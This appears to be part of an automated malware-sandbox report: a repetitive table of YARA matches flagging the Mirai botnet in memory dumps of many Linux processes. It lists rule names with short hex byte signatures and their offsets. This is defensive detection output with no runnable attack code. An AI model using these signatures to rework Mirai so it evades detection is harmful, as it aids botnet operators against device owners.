7127.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7127.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7127.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7127.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6715.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6715.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6715.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6823.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6823.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6823.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6823.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6823.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6823.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7104.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7267.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6498.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6498.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6498.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6498.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6498.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6498.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6263.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6263.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6263.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6440.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6440.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6440.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6440.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6440.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6440.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6384.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6384.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6797.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6758.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7068.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6335.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7014.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7014.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7014.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7014.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7014.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7014.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6796.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6796.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6796.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6796.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6796.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6715.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6715.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6715.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7363.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7363.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7363.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7363.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7363.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7363.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6677.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6677.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6677.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6677.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6677.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6677.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6651.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6651.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6651.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6651.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6651.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6651.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7347.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7347.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7347.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7347.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7347.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7347.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7235.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7235.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7235.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7235.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7235.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7235.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7183.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7183.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7183.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7183.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7183.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7183.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7104.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7104.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7104.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7104.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7104.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7150.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7150.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7150.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7150.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7150.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7150.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6384.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6384.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6384.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6384.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6664.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6664.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6664.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6664.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6664.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6664.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6797.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6797.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6797.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6797.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6797.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6758.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6758.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6758.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6758.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6758.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7068.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7068.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7068.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7068.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7068.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6665.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6665.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7267.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7267.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7267.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7267.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7267.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6263.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6263.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6263.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6919.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6919.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6919.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6665.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6665.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6665.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6919.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6919.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6919.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6355.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6355.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6355.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6355.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6355.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6355.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6335.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6335.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6335.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6335.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6335.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6956.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6280.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6280.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6280.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6280.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6280.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6280.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6469.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6469.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6469.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6469.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6469.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6469.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6617.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6617.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6617.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
